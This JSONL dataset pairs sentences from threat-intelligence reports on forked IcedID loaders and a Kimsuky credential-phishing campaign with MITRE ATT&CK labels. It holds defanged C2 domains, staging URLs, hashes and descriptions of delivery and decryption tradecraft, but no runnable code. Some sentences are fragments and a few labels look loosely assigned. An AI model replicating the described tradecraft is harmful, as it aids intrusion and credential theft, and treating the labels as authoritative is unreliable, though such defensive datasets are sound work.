{"sentence": "Proofpoint considers most of these threat actors to be initial access brokers that facilitate infections leading to ransomware.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Proofpoint continues to see all variants of the IcedID malware in campaign data, so researchers assess with high confidence that the changes detailed below are not direct upgrades to the Standard IcedID codebase.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "It is likely a cluster of threat actors is using modified variants to pivot the malware away from typical banking trojan and banking fraud activity to focus on payload delivery, which likely includes prioritizing ransomware delivery.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Typically, this actor uses email themes such as “stolen images” or “copyright violation” to deliver malware.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "In addition to IcedID, TA578 also frequently conducts campaigns delivering Bumblebee malware.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "TA578 uses the Standard IcedID variant.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "TA551 – Proofpoint has observed TA551 deliver IcedID in campaigns since November 2018.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "This actor usually uses thread hijacking to typically deliver attached files including Word documents, PDFs, and recently, OneNote documents.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "TA551 has used multiple malware types, with recent payloads including IcedID, SVCReady, and Ursnif.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "This actor typically uses thread hijacking to deliver malware, with Qbot being TA577’s preferred payload.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "However, Proofpoint has observed IcedID delivered by TA577 in six campaigns since 2022.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "TA577 uses the Standard IcedID variant.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "TA544 – Proofpoint observed TA544 use IcedID in limited campaigns throughout 2022.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "This actor typically targets organizations in Italy and Japan, and typically delivers Ursnif malware.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "TA544 uses the Standard IcedID variant.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "TA581 – TA581 is a newly classified threat actor Proofpoint has tracked as an unattributed activity cluster since mid-2022.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "This actor typically uses business-relevant themes such as payroll, customer information, invoice, and order receipts to deliver a variety of filetypes or URLs.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "TA581 typically delivers IcedID, but has been observed using Bumblebee malware and telephone-oriented attack delivery (TOAD) payloads.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "TA581 uses the Forked IcedID variant.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Campaign Details Proofpoint has only observed the IcedID Lite Loader variant delivered as a second-stage payload following Emotet infections associated with November 2022 campaigns.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "This campaign began with thread hijacked emails which contained HTML attachments.", "labels": ["T1566.001"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The HTML attachments used HTML Smuggling to drop a password protected, zipped Windows Script File (WSF).", "labels": ["T1027"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The password “747” was displayed in the HTML file.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The WSF ran a VBScript which initiated a PowerShell command to download and execute an intermediate script which then downloaded and executed the Standard IcedID Loader using a non-standard export “init”.", "labels": ["T1105"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Figure 2: Sample email using thread hijacking to deliver an HTML attachment.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "HTML Attachment spoofing Office 365. Figure 4: Contents of smuggled ZIP file.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Figure 5: WSF file contents.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The IcedID loader connected to the C2 server and delivered and executed the IcedID core bot if specific conditions were met.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "alishaskainz[.]com C2: akermonixalif[.]com CommsCookie: 998075300 ProjectID: 35 URI: /news/", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Update URLs: [ “hxxps://yelsopotre[.]com/news/, ”hxxps://qoipaboni[.]com/news/\", hxxps://halicopnow[.]com/news/, hxxps://oilbookongestate[.]com/news/ ] Example 2: IcedID Forked Campaign Proofpoint observed a campaign with over 13,000 messages on 3 February 2023.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "This campaign began with invoice-themed email lures requesting confirmation from the recipient to manage a contract.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "When opened, the OneNote document instructed the recipient to \"open\" the document by double-clicking the button displayed in the OneNote document.", "labels": ["T1204.002"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "An HTML Application (HTA) file was concealed beneath the \"open\" text which, if clicked, executed the HTA file.", "labels": ["T1204.002"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The HTA file initiated a PowerShell command used to download and execute an IcedID loader.", "labels": ["T1105"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The IcedID loader was executed with rundll32 using a non-standard export: \"PluginInit\".", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The PowerShell command also downloaded and opened a decoy PDF.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Figure 10: Benign PDF that appears while malicious activity is running in the background.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Example 3: IcedID Forked Campaign Proofpoint observed a campaign with over 200 messages conducted from 20 February to 23 February 2023.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "attachments.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "A URL file is a shortcut that points to a specific Uniform Resource Locator.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "If the recipient clicked to open the .URL file, the recipient's default web browser would access the URL contained in the file.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "If the .URL file was opened it would initiate the download of a batch (.bat) file.", "labels": ["T1059.003", "T1105"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Figure 12: Sample email using motor vehicle/seatbelt safety lure.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Figure 14: BAT (.bat) file displayed in a text editor.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "C2: sanoradesert[.]com C2: steepenmount[.]com C2:", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "guidassembler[.]com CommsCookie: 1 ProjectID: 3971099397 URI: /news/ ] Malware analysis Before comparing the Standard Loader to the Forked Loader, it is worth covering the highlights of the IcedID Lite Loader as there is code overlap and clear similarities when compared with the Forked Loader.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "For an in-depth analysis of the Lite Loader, check out Proofpoint’s previous report here.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The Lite Loader’s purpose is to download the next stage of the malware from a hardcoded domain and URI path.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The domain is decrypted from the configuration and the URI path is decrypted within the function that makes the HTTP request.", "labels": ["T1071.001", "T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "When the Lite Loader was dropped on Emotet infections, that fact made sense, since this version of IcedID was specifically being deployed on already infected machines, and there was no need to check the host information.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Figure 15: Config decryption within IcedID Lite Loader.", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Figure 16: Decryption of the URI within the IcedID Lite Loader.", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Considering that Proofpoint has not observed a standalone campaign of the Lite Loader in the wild, the remainder of the analysis section will compare the Standard variant to the Forked variant as well as similarities to the Lite Loader.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Loader Analysis Field Standard Loader Forked Loader Internal name loader_dll_64.dll Loader.dll FileType Standard DLL COM Server Extraneous string Contains “1.bin” Project ID Project ID differs from loader to bot Project ID is the same across loader and bot Rough size ~36KB ~48KB Botpack decryption Decryption is the same across both As far as behavior is concerned, the Forked Loader functions the same as the Standard Loader.", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The goal is to send host info to the loader C2, then to gate the bot download.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "This gating mechanism is to ensure that only truly infected machines get the bot binary vs researchers or malware sandboxes.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "If the checks are passed, the C2 will return the encrypted bot and DLL loader which is where the real capabilities of the botnet emerge.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The differences come within the binary itself by how the code is/was structured and how they obfuscate the sample.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Both variants of the loader initiate their malicious code by creating a thread for the malware main.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Before this happens though, the Forked Loader decrypts and copies strings into global variables where they will be later used to resolve required functions.", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "This pattern of decrypting strings for future use will come up later in the analysis of the DLL loader.", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Figure 17: String decryption of the DLL names used within the Forked Loader.", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "With the DLL strings decrypted, the malware then decrypts the loader configuration by taking the first 64 bytes and XORing it against the next 64 bytes.", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "For whatever reason, there is an extraneous “1.bin” that is appended to a string which isn’t used.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "As far as Proofpoint researchers can tell, this string is not used and serves no purpose.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "With the config decrypted, the malware creates the cookies that contain the host information and sends an HTTP request that will contain the encrypted bot response.", "labels": ["T1071.001", "T1082", "T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The response gets decrypted with the IcedID decryption routine, then split into the encrypted bot (being “license.dat”) and the custom DLL loader which is generally some randomly generated filename ending in .tmp.", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "When comparing the StartAddress function, we see the biggest difference across these two samples: Figure 21: Standard DLL Loader thread function.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Forked DLL Loader thread function.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Just like the Forked Loader, the Forked DLL Loader decrypts the DLL strings to be used later to resolve handles to the DLLs needed.", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The strings are decrypted in the same algorithm where the data is split into DWORDs and XOR’d against a random key.", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Figure 23: String decryption for the DLL names needed for execution.", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Next, a function is called that decrypts strings that are not used at any point within the binary itself.", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The function starts by creating a structure that is going to be returned at the end of the function.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "This structure contains two domains and various URIs that could potentially be used to get a separate version of the bot. Figure 24: Decryption of “Lite Loader”\" domains.", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "For all the Forked DLL Loader variants we have seen, there are two domains that are decrypted: “tourdeworldsport[.]com” and “handsinworld[.]com”.", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Neither of these domains are used within the file, and at the time of this report have no relations on VirusTotal.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Looking into the “handsinworld” domain, passive DNS shows that the domain started resolving to its current IP of “193[.]37[.]69[.]107” on 12 Nov 2022.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "More information on the Lite Loader and Emotet can be found in our previous report here.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The other domain “tourdeworldsport”, also started resolving to the IP “5[.]61[.]34[.]46” on 18 Nov 2022.", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "With the domain names decrypted, the DLL Loader decrypts 10 strings that should be URIs to be appended to the domains.", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Figure 25: Decryption of “Lite Loader” filenames.", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Within this list though, they have typos for botpackn3dat.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "This is the same URI structure (/botpack.dat) that the Lite Loader used to download the bot and DLL loader from the C2 in November 2022 when it was dropped via Emotet infections.", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "After the strings are decrypted, the structure referencing them is never used again.", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "This is most likely code that has been copy/pasted from the lite loader.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "If implemented correctly, these strings should appear in the actual loader of IcedID and not within the DLL Loader where it currently resides.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "These commonalities between the Lite Loader and this DLL Loader make it seem as if the same group that dropped IcedID via Emotet is behind these campaigns as well.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "This could be because banking fraud has become increasingly more difficult over the last couple of years.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Within the communications of the bot, there is an authentication header which contains the bot’s project ID, some other details and the version of the bot.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Authorization: Basic OTk4MDc1MzAwOjA6MTE5OjY1OjM1 998075300:0:119:65:35 Base64 decoding this value gives up the version as the third component of the list.", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "For the Standard IcedID Bot, this value is set to 119 as seen above, but for the Forked variant, we get the following base64 decoded header; 998075300:0:111:67:1", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "This value contains version 111, which could indicate the fork happened when the Standard Bot was using that version.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Finally, there seems to be a bug within the Forked variant of the bot where the URIs of specific requests are not constructed properly which causes 404s to occur.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Figure 28: Network requests made by the Forked Bot.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "In the example above, the request should be “/news/4/2/1” but for whatever reason the bot does not append the initial / for specific commands.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "After analysis of the separate variants was finished, Proofpoint identified a file called “botpackn1.dat” on VirusTotal that seemed related to our Lite Loader.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Figure 29: VirusTotal page showing the botpack used in the Lite Loader.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "That filename is embedded within the custom Forked DLL Loader mentioned previously.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "This relationship was enough to prompt further analysis.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "In the article where Proofpoint described the IcedID Lite Loader being dropped via Emotet infections, researchers documented the structure of the botpack format and how to decrypt it as well.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Taking that same script and applying it to this file leads to a valid configuration where researchers can analyze the configuration.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "This botpackn1.dat contains the later stages of the infection chain, so with some pivoting on the VirusTotal relationships, researchers land on the distribution URL (VT Link) “http[:]//lepriconloots[.]com/botpackn1.dat”.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "This could mean the codebase is similar enough where the threat actors can interchange the loader and the DLL Loader, or that these actors are copy/pasting extraneous code.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Figure 31: Embedded build name of the DLL Loader.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Finally, pivoting on where this “c2.dll” (IcedID Lite loader) came from, the distribution URL “http[:]//104[.]156[.]149[.]6/webdav/c2.dll” is observed.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The TA581 campaign ended up loading the DLL “host.dll” from that same directory and led to one of the first campaigns of Proofpoint observing the Forked variant.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "At the time when this distribution URL was live the IP was hosting an open directory on /webdav/ that contained various bat files, a forked IcedID loader as well as this lite loader.", "labels": ["T1059.003"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Conclusion IcedID is a popular malware typically used by more advanced cyber criminal threat actors, and its use across the threat landscape has remained relatively consistent until recently.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "While historically IcedID’s main function was a banking trojan, the removal of banking functionality aligns with the overall landscape shift away from banking malware and an increasing focus on being a loader for follow-on infections, including ransomware.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "File Payload URL February 20-23, 2023 hxxp[://]94[.]131[.]11[.]141/webdav/fda[.]dll URL BAT Payload URL February 20-23, 2023 Recall_2.22.url filename .URL", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Attachment February 20-23, 2023 feb20_fda_labels-violation.url filename .URL", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Attachment February 20-23, 2023 dc51b5dff617f4da2457303140ff1225afc096e128e7d89454c3fa9a6883585c SHA256 .URL", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Attachment February 20-23, 2023 7c8b3b8cf2b721568b96f58e5994b8ddb8990cd05001be08631ade7902ae6262 SHA256 Botpackn1.dat February 22, 2023 fbad60002286599ca06d0ecb3624740efbf13ee5fda545341b3e0bf4d5348cfe SHA256 IcedID Standard Loader February 3, 2023 03fdf03c8f0a0768940c793496346253b7ccfb7f92028d3281b6fc75c4f1558e SHA256 HTA February 3, 2023 9bf40256fb7f0acac020995a3e9a231d54a6b14bb421736734b5815de0d3ba53 SHA256 WSF March 10, 2023 befeb1ab986fae9a54d4761d072bf50fdbff5c6b1b89b66a6790a3f0bfc4243f SHA256 DLL March 10, 2023 hxxp[://]segurda[.]top/dll/loader_p1_dll_64_n1_x64_inf[.]dll53[.]dll URL Staging URL for Standard Loader March 10, 2023 hxxp[://]segurda[.]top/gatef[.]php URL PowerShell Payload URL March 10, 2023 consumption_8581_march-10.html Filename HTML Attachment March 10, 2023", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Executive Summary SentinelLabs has been tracking a social engineering campaign by the North Korean APT group Kimsuky targeting experts in North Korean affairs, part of a broader campaign discussed in a recent NSA advisory.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "The campaign has the objective of stealing Google and subscription credentials of a reputable news and analysis service focusing on North Korea, as well as delivering reconnaissance malware.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "Kimsuky engages in extensive email correspondence and uses spoofed URLs, websites imitating legitimate web platforms, and Office documents weaponized with the ReconShark malware.", "labels": ["T1566.001"], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "This activity indicates Kimsuky’s growing dedication to social engineering and highlights the group’s increasing interest in gathering strategic intelligence.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "In collaboration with NK News, a leading subscription-based service that provides news and analyses about North Korea, SentinelLabs has been tracking a targeted social engineering campaign against experts in North Korean affairs from the non-government sector.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "The campaign focuses on theft of email credentials, delivery of reconnaissance malware, and theft of NK News subscription credentials.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "Based on the used malware, infrastructure, and tactics, we assess with high confidence that the campaign has been orchestrated by the Kimsuky threat actor.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "Kimsuky, a suspected North Korean advanced persistent threat (APT) group whose activities align with the interests of the North Korean government, is known for its global targeting of organizations and individuals.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "Operating since at least 2012, the group often employs targeted phishing and social engineering tactics to gather intelligence and access sensitive information.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "The initial email requests the review of a draft article analyzing the nuclear threat posed by North Korea.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "If the target engages in the conversation, Kimsuky uses the opportunity to deliver a spoofed URL to a Google document, which redirects to a malicious website specifically crafted to capture Google credentials.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "Kimsuky may also deliver a weaponized Office document that executes the ReconShark reconnaissance malware.", "labels": ["T1566.001"], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "Further, Kimsuky’s objective extends to the theft of subscription credentials from NK News.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "To achieve this, the group distributes emails that lure targeted individuals to log in on the malicious website nknews[.]pro, which masquerades as the authentic NK News site.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "This Kimsuky activity indicates the group’s growing efforts to establish early communication and foster trust with their targets prior to initiating malicious operations, including the delivery of malware.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "Their approach highlights the group’s commitment to creating a sense of rapport with the individuals they target, potentially increasing the success rate of their subsequent malicious activities.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "By actively targeting high-profile experts in North Korean affairs and stealing subscription credentials from prominent news and analysis outlets focussing on North Korea, Kimsuky demonstrates a heightened curiosity in understanding how the international community perceives developments concerning North Korea, such as the country’s military activities.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "These actions are probably part of their broader objective to gather strategic intelligence, contributing to North Korea’s decision-making processes.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "Google Credential Theft We observed Kimsuky distributing an HTML-formatted phishing email to selected individuals, which requests the review of a draft article analyzing the nuclear threat posed by North Korea.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "The email primarily aims to initiate a subsequent conversation and is intentionally designed to appear benign: It impersonates NK News leadership and lacks any malicious artifacts.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "Initial email If the target engages in the conversation, Kimsuky eventually follows up with an email that contains an URL to a Google document.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "Follow-up email If the target is not responsive, Kimsuky follows up with a reminder email in an attempt to engage the target in conversation.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "This method, commonly employed in phishing attacks, creates a discrepancy between the perceived legitimacy of the link (a genuine Google document) and the actual website visited upon clicking the URL.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "The displayed URL to a Google document points to an actual article hosted on Google Docs, delving into the topic of the North Korean nuclear threat.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "This serves as a means of transporting the target’s address to the fake Google Docs site, which enables the site to dynamically display the address, creating a personalized and convincing appearance of legitimacy.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "The design and functionality of this site suggest its potential for reuse in targeting different individuals.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "Malicious Google Docs site We were unable to analyze the functionality behind the Request access web element as the group has taken down the site.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "However, given the theme of the site, we suspect that it has been designed to capture entered Google credentials.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "During conversations with targeted individuals, Kimsuky also seizes any available opportunity to distribute password-protected weaponized Office documents that deploy the ReconShark reconnaissance malware.", "labels": ["T1566.001"], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "The implementation of the ReconShark variant we observed in this activity remains the same as the one covered in our previous post on Kimsuky activity, with the main distinction being the use of a different C2 server: staradvertiser[.]store.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "This domain resolves to the IP address 162.0.209[.]27, which has hosted domains that have been attributed to Kimsuky in previous research, such as sesorin[.]lol and rfa[.]ink.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "Kimsuky’s use of ReconShark as part of this activity underscores the malware’s central role within the group’s current operational playbook.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "NK News Credential Theft", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "We also observed Kimsuky attempting to steal credentials for the subscription service of NK News, which is known for its comprehensive expert analyses and news reports.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "Gaining access to such reports would provide Kimsuky with valuable insights into how the international community assesses and interprets developments related to North Korea, contributing to their broader strategic intelligence-gathering initiatives.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "In order to accomplish this, Kimsuky distributes an email that lure targeted individuals to log in to a spoofed NK News subscription service.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "The emails prompt the recipients to confirm their NK News accounts under the pretext of recent security updates.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "buttons.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "The domain nknews[.]pro, registered through Namecheap, also resolves to the Kimsuky-linked IP address 162.0.209[.]27.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
